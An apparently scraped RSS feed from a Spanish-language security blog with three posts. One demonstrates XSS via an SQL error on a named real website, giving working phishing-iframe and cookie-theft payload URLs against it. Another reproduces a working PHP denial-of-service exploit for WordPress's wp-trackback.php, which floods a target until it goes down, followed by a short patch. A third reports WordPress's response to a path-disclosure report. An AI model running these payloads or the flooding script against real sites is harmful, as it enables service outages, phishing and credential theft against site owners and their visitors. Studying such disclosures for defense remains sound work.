<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>El rincón de Zerial &#187; vulnerabilidad</title>
	<atom:link href="http://blog.zerial.org/tag/vulnerabilidad/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.zerial.org</link>
	<description>Informática, GNU/Linux, Seguridad, Hacking, Programación, Ocio</description>
	<lastBuildDate>Tue, 20 Jul 2010 18:13:34 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Explotar XSS mediante SQL Injection</title>
		<link>http://blog.zerial.org/seguridad/explotar-xss-mediante-sql-injection/</link>
		<comments>http://blog.zerial.org/seguridad/explotar-xss-mediante-sql-injection/#comments</comments>
		<pubDate>Sat, 30 Jan 2010 19:39:53 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[sqli]]></category>
		<category><![CDATA[vulnerabilidad]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1479</guid>
		<description><![CDATA[Para complementar un poco lo que publicó d3m4s1@d0v1v0 en ITFreekZone sobre el Reflected XSS mediante SQL Injection, me gustaría demostrarles otra manera de realizar Cross-Site Scripting aprovechandose de una vulnerabilidad de inyección SQL. La teoría es muy sencilla, basta con que encontremos un sitio vulnerable a inyección SQL, no importa que tenga protecciónes contra comillas [...]]]></description>
			<content:encoded><![CDATA[<p>Para complementar un poco lo que publicó <em>d3m4s1@d0v1v0</em> en <a href="http://itfreekzone.blogspot.com/2010/01/reflected-xss-traves-de-sql-injection.html" target="_blank">ITFreekZone sobre el Reflected XSS mediante SQL Injection</a>, me gustaría demostrarles otra manera de realizar <em>Cross-Site Scripting</em> aprovechandose de una vulnerabilidad de inyección SQL.<br />
La teoría es muy sencilla, basta con que encontremos un sitio vulnerable a inyección SQL, no importa que tenga protecciónes contra comillas simples o dobles, o similar, basta con que podamos generar un error por lado del servidor por ejemplo cambiando un número (id) por una letra (en el caso de oracle, sql server u otros que tengan problemas de compatibilidad por el tipo de dato pasado), agregas signos raros o una comilla obligando a que el servidor arroje un error de sintáxis, lo que vamos a hacer es <strong>insertar código javascript justo donde se genera el error sql</strong>.</p>
<p><span id="more-1479"></span></p>
<p>Ahora vamos a la práctica, se los enseñaré mediante un ejemplo real buscando un sitio web al azar con la ayuda de Google. Encontramos el sitio &#8220;Cibertec.cl&#8221; que al parecer cumple todo para poder explotarla.Ç<br />
Si ingresamos al sitio <strong>http://www.cibertec.cl</strong> y revisamos el tipo de links que contiene, podemos darnos cuenta fácilmente que puede  ser vulnerable a SQLi.</p>
<p style="text-align: center;"><a href="http://blog.zerial.org/wp-content/uploads/2010/01/cibertec_vulnerable.png"><img class="aligncenter size-full wp-image-1494" title="cibertec_vulnerable" src="http://blog.zerial.org/wp-content/uploads/2010/01/cibertec_vulnerable.png" alt="" width="510" height="386" /></a></p>
<p>Vamos a comprobarlo cambiando el número <strong>587</strong> por una comilla simple. Entonces ingresamos a <strong>http://www.cibertec.cl/detalle.php?item=&#8217;</strong> y obtenemos el siguiente mensaje:</p>
<blockquote><p><strong>Database error:</strong> Invalid SQL: SELECT * FROM inventory WHERE id = &#8216;<br />
<strong>MySQL Error</strong>: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near &#8221;&#8217; at line 1)<br />
Session halted.</p></blockquote>
<p>Si nos fijamos en la línea donde nos muestra la consulta SQL podemos ver que al final pone &#8220;<em>WHERE id = &#8216;</em>&#8220;. Pues esa comilla simple que se ve depsues del signo igual es la comilla que nosotros pusimos en el navegador. De esta misma forma, si agregamos la palabra &#8220;<em>prueba</em>&#8221; luego de la comilla simple, podemos ver el siguiente mensaje:</p>
<blockquote><p><strong>Database error:</strong> Invalid SQL: SELECT * FROM inventory WHERE id = &#8216;prueba<br />
<strong>MySQL Error</strong>: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near &#8221;prueba&#8217; at line 1)<br />
Session halted.</p></blockquote>
<p>Ahi aparece la comilla simple seguida de la palabra prueba, justo lo que nosotros escribimos. Bien, ya manejamos lo que queremos que se muestre, ahora debemos insertar el código malicioso.</p>
<p><strong>Prueba de concepto (PoC)</strong></p>
<p>Vamos a aprovecharnos de ésta vulnerabilidad de SQL Injection para realizar phishing y para intentar robar una credencial mediante XSS.</p>
<ol>
<li><strong>Phishing</strong>: Vamos a añadir un iframe con un sitio especialmente preparado para éste fin. Pueden hacer la prueba incrustando el sitio de Google: <em>http://www.cibertec.cl/detalle.php?item=%27%3Ciframe%20src=http://www.google.cl%3E%3C/iframe%3E<br />
</em> (puede leer más sobre esto en <a href="http://blog.zerial.org/seguridad/haciendo-phishing-explotando-una-vulnerabilidad-xss/" target="_blank">un post que publiqué</a> hace un tiempo)</li>
<li><strong>Robo de credenciales</strong>: El típico aprovechamiento de Cross-Site Scripting usando javascript para redirigir al usuario a un sitio web cuyos parámetros será una cookie. Por ejemplo: <em>http://www.cibertec.cl/detalle.php?item=%27%3Cscript%3Ealert%28this.cookie%29%3C/script%3E</em></li>
</ol>
<p><a href="http://blog.zerial.org/wp-content/uploads/2010/01/xssph_cibertec.png"><img class="aligncenter size-full wp-image-1498" title="xssph_cibertec" src="http://blog.zerial.org/wp-content/uploads/2010/01/xssph_cibertec.png" alt="" width="613" height="360" /></a></p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2010/01/xss_cibertec.png"><img class="aligncenter size-full wp-image-1499" title="xss_cibertec" src="http://blog.zerial.org/wp-content/uploads/2010/01/xss_cibertec.png" alt="" width="622" height="194" /></a></p>
<p>De esta manera podemos afirmar que el sitio web Cibertec.cl es vulnerable a SQL Injection y Cross-Site Scriting.</p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fexplotar-xss-mediante-sql-injection%2F&amp;linkname=Explotar%20XSS%20mediante%20SQL%20Injection" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fexplotar-xss-mediante-sql-injection%2F&amp;linkname=Explotar%20XSS%20mediante%20SQL%20Injection" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fexplotar-xss-mediante-sql-injection%2F&amp;linkname=Explotar%20XSS%20mediante%20SQL%20Injection" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fexplotar-xss-mediante-sql-injection%2F&amp;linkname=Explotar%20XSS%20mediante%20SQL%20Injection" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fexplotar-xss-mediante-sql-injection%2F&amp;linkname=Explotar%20XSS%20mediante%20SQL%20Injection" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fexplotar-xss-mediante-sql-injection%2F&amp;linkname=Explotar%20XSS%20mediante%20SQL%20Injection" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fexplotar-xss-mediante-sql-injection%2F&amp;linkname=Explotar%20XSS%20mediante%20SQL%20Injection" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fexplotar-xss-mediante-sql-injection%2F&amp;linkname=Explotar%20XSS%20mediante%20SQL%20Injection">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/explotar-xss-mediante-sql-injection/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>FPD en WordPress no es considerado un error</title>
		<link>http://blog.zerial.org/seguridad/fpd-en-wordpress-no-es-considerado-un-error/</link>
		<comments>http://blog.zerial.org/seguridad/fpd-en-wordpress-no-es-considerado-un-error/#comments</comments>
		<pubDate>Sat, 14 Nov 2009 15:42:15 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Noticias]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[fpd]]></category>
		<category><![CDATA[full path disclosure]]></category>
		<category><![CDATA[vulnerabilidad]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[wp]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1100</guid>
		<description><![CDATA[Como recordarán, hace unos días publiqué dos artículos sobre una vulnerabilidad Full Path Disclosure en WordPress, que afectaba a los plugins y a los archivos propios del CMS. Luego de unas semanas de haberlo reportado recibí una respuesta: We consider path disclosures a server configuration error. WordPress files don&#8217;t protect against disclosing paths when directly [...]]]></description>
			<content:encoded><![CDATA[<p>Como recordarán, hace unos días publiqué dos artículos sobre una vulnerabilidad Full Path Disclosure en WordPress, que <a href="http://blog.zerial.org/seguridad/vulnerabilidad-en-la-mayoria-de-los-plugins-para-wordpress/" target="_blank">afectaba a los plugins</a> y a <a href="http://blog.zerial.org/seguridad/mas-full-path-disclosure-en-wordpress-y-sin-solucion/" target="_blank">los archivos propios del CMS</a>. Luego de unas semanas de haberlo reportado recibí una respuesta:</p>
<blockquote><p>We consider path disclosures a server configuration error.  WordPress<br />
files don&#8217;t protect against disclosing paths when directly loaded.</p></blockquote>
<p>En otras palabras, no es considerado un error o una vulnerabilidad ya que corresponde a un problema de configuración del servidor.<br />
Pueden leer <a href="http://seclists.org/fulldisclosure/2009/Sep/387" target="_blank">un hilo donde se discute</a> sobre el tema.</p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Ffpd-en-wordpress-no-es-considerado-un-error%2F&amp;linkname=FPD%20en%20WordPress%20no%20es%20considerado%20un%20error" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Ffpd-en-wordpress-no-es-considerado-un-error%2F&amp;linkname=FPD%20en%20WordPress%20no%20es%20considerado%20un%20error" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Ffpd-en-wordpress-no-es-considerado-un-error%2F&amp;linkname=FPD%20en%20WordPress%20no%20es%20considerado%20un%20error" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Ffpd-en-wordpress-no-es-considerado-un-error%2F&amp;linkname=FPD%20en%20WordPress%20no%20es%20considerado%20un%20error" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Ffpd-en-wordpress-no-es-considerado-un-error%2F&amp;linkname=FPD%20en%20WordPress%20no%20es%20considerado%20un%20error" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Ffpd-en-wordpress-no-es-considerado-un-error%2F&amp;linkname=FPD%20en%20WordPress%20no%20es%20considerado%20un%20error" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Ffpd-en-wordpress-no-es-considerado-un-error%2F&amp;linkname=FPD%20en%20WordPress%20no%20es%20considerado%20un%20error" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Ffpd-en-wordpress-no-es-considerado-un-error%2F&amp;linkname=FPD%20en%20WordPress%20no%20es%20considerado%20un%20error">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/fpd-en-wordpress-no-es-considerado-un-error/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Denial-of-Service (DoS) rápido y de una forma muy sencilla en WordPress</title>
		<link>http://blog.zerial.org/seguridad/denial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress/</link>
		<comments>http://blog.zerial.org/seguridad/denial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress/#comments</comments>
		<pubDate>Sun, 18 Oct 2009 13:50:59 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[dos]]></category>
		<category><![CDATA[pwnpress]]></category>
		<category><![CDATA[vulnerabilidad]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[wp]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1014</guid>
		<description><![CDATA[jcarlosn ha descubierto una vulnerabilidad en el fichero wp-trackbacks.php de wordpress, la cual nos permitiría hacer un tipo de denegación de servicio (DoS) con unas cuantas peticiones y sin necesidad de botnets o maquinas zombies. Como él mismo nos cuenta: Este error, es explotable desde cualquier conexión a internet, y no requiere de ordenadores zombies, [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-medium wp-image-949" style="margin: 4px;" title="pwnpress" src="http://blog.zerial.org/wp-content/uploads/2009/09/pwnpress-300x214.jpg" alt="pwnpress" width="126" height="90" /><a href="http://rooibo.wordpress.com/" target="_blank">jcarlosn</a> ha <a href="http://rooibo.wordpress.com/2009/10/17/agujero-de-seguridad-en-wordpress/" target="_blank">descubierto una vulnerabilidad en el fichero <strong>wp-trackbacks.php</strong> de wordpress</a>, la cual nos permitiría hacer un tipo de denegación de servicio (DoS) con unas cuantas peticiones y sin necesidad de botnets o maquinas zombies.<br />
Como él mismo nos cuenta:</p>
<blockquote><p>
Este error, es explotable desde cualquier conexión a internet, y no requiere de ordenadores zombies, ni de nada, son sólo 20 peticiones a lo sumo, desde una línea ADSL convencional, para dejar K.O. a cualquier servidor que hospede un blog basado en wordpress.</p></blockquote>
<p>El problema fue reportado a la seguridad en wordpress.com y no se obtuvo respuesta, luego se intentó comunicar con el creador de wordpress y al pasar un par de días, obtuvo una respuesta de que lo solucionarán en algún momento pero no de la forma que él proponia, sino que ellos mismos buscarán cómo hacerlo.<br />
La misma persona que hizo público este bug, publicó un exploit y una posible solución.</p>
<p><span id="more-1014"></span></p>
<p><strong>El exploit:</strong></p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"> &lt; ?php</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="co1">//wordpress Resource exhaustion Exploit</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="co1">//http://rooibo.wordpress.com/</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="co1">//security@wordpress.org contacted and get a response,</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <span class="co1">//but no solution available.</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/count"><span class="kw3">count</span></a><span class="br0">&#40;</span><span class="re0">$argv</span><span class="br0">&#41;</span> &lt; <span class="nu0">2</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <a href="http://www.php.net/echo"><span class="kw3">echo</span></a> “You need to specify a url to attack\n”;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <a href="http://www.php.net/exit"><span class="kw3">exit</span></a>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="re0">$url</span> = <span class="re0">$argv</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="re0">$data</span> = <a href="http://www.php.net/parse_url"><span class="kw3">parse_url</span></a><span class="br0">&#40;</span><span class="re0">$url</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/count"><span class="kw3">count</span></a><span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#41;</span> &lt; <span class="nu0">2</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <a href="http://www.php.net/echo"><span class="kw3">echo</span></a> “The url should have http:<span class="co1">// in front of it, and should be complete.\n”;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <a href="http://www.php.net/exit"><span class="kw3">exit</span></a>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/count"><span class="kw3">count</span></a><span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#41;</span> == <span class="nu0">2</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <span class="re0">$path</span> = ”;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span> <span class="kw1">else</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="re0">$path</span> = <span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;path&#8217;</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="re0">$path</span> = <a href="http://www.php.net/trim"><span class="kw3">trim</span></a><span class="br0">&#40;</span><span class="re0">$path</span>,’/<span class="st0">&#8216;);</span></div>
</li>
<li class="li2">
<div class="de2"><span class="st0"> &nbsp; &nbsp;$path .= ‘/wp-trackback.php’;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;if($path{0} != ‘/’) {</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$path = ‘/’.$path;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;}</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li2">
<div class="de2"><span class="st0"> &nbsp; &nbsp;$b = “”;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$b = str_pad($b,140000,’ABCEDFG’);</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$b = utf8_encode($b);</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$charset = “”;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$charset = str_pad($charset,140000,”UTF-8,”);</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$str = ‘charset=’.urlencode($charset);</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$str .= ‘&amp;url=www.example.com’;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$str .= ‘&amp;title=’.$b;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$str .= ‘&amp;blog_name=lol’;</span></div>
</li>
<li class="li2">
<div class="de2"><span class="st0"> &nbsp; &nbsp;$str .= ‘&amp;excerpt=lol’;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$count = 0;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;while(1) {</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$fp = @fsockopen($data['</span>host<span class="st0">'],80);</span></div>
</li>
<li class="li2">
<div class="de2"><span class="st0"> &nbsp; &nbsp;if(!$fp) {</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;if($count &gt; 0) {</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;echo “down!!!!<span class="es0">\n</span>”;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;exit;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;}</span></div>
</li>
<li class="li2">
<div class="de2"><span class="st0"> &nbsp; &nbsp;echo “unable to connect to: “.$data['</span>host<span class="st0">'].”<span class="es0">\n</span>”;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;exit;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;}</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;fputs($fp, “POST $path HTTP/1.1<span class="es0">\r</span><span class="es0">\n</span>”);</span></div>
</li>
<li class="li2">
<div class="de2"><span class="st0"> &nbsp; &nbsp;fputs($fp, “Host: “.$data['</span>host<span class="st0">'].”<span class="es0">\r</span><span class="es0">\n</span>”);</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;fputs($fp, “Content-type: application/x-www-form-urlencoded<span class="es0">\r</span><span class="es0">\n</span>”);</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;fputs($fp, “Content-length: “.strlen($str).”<span class="es0">\r</span><span class="es0">\n</span>”);</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;fputs($fp, “Connection: close<span class="es0">\r</span><span class="es0">\n</span><span class="es0">\r</span><span class="es0">\n</span>”);</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;fputs($fp, $str.”<span class="es0">\r</span><span class="es0">\n</span><span class="es0">\r</span><span class="es0">\n</span>”);</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;echo “hit!<span class="es0">\n</span>”;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$count++;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;}</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li2">
<div class="de2"><span class="st0"> &nbsp; &nbsp;?&gt;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"</span></div>
</li>
</ol>
</div>
<p><strong>La solución:</strong></p>
<p>Cambiar</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="re0">$charset</span> = <span class="re0">$_POST</span><span class="br0">&#91;</span><span class="st0">&#8216;charset&#8217;</span><span class="br0">&#93;</span>;</div>
</li>
</ol>
</div>
<p>Por</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="re0">$charset</span> = <a href="http://www.php.net/str_replace"><span class="kw3">str_replace</span></a><span class="br0">&#40;</span>”,”,”<span class="st0">&quot;,$_POST['charset']);</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0">if(is_array($charset)) { exit; }</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"</span></div>
</li>
</ol>
</div>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdenial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress%2F&amp;linkname=Denial-of-Service%20%28DoS%29%20r%C3%A1pido%20y%20de%20una%20forma%20muy%20sencilla%20en%20WordPress" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdenial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress%2F&amp;linkname=Denial-of-Service%20%28DoS%29%20r%C3%A1pido%20y%20de%20una%20forma%20muy%20sencilla%20en%20WordPress" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdenial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress%2F&amp;linkname=Denial-of-Service%20%28DoS%29%20r%C3%A1pido%20y%20de%20una%20forma%20muy%20sencilla%20en%20WordPress" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdenial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress%2F&amp;linkname=Denial-of-Service%20%28DoS%29%20r%C3%A1pido%20y%20de%20una%20forma%20muy%20sencilla%20en%20WordPress" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdenial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress%2F&amp;linkname=Denial-of-Service%20%28DoS%29%20r%C3%A1pido%20y%20de%20una%20forma%20muy%20sencilla%20en%20WordPress" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdenial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress%2F&amp;linkname=Denial-of-Service%20%28DoS%29%20r%C3%A1pido%20y%20de%20una%20forma%20muy%20sencilla%20en%20WordPress" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a 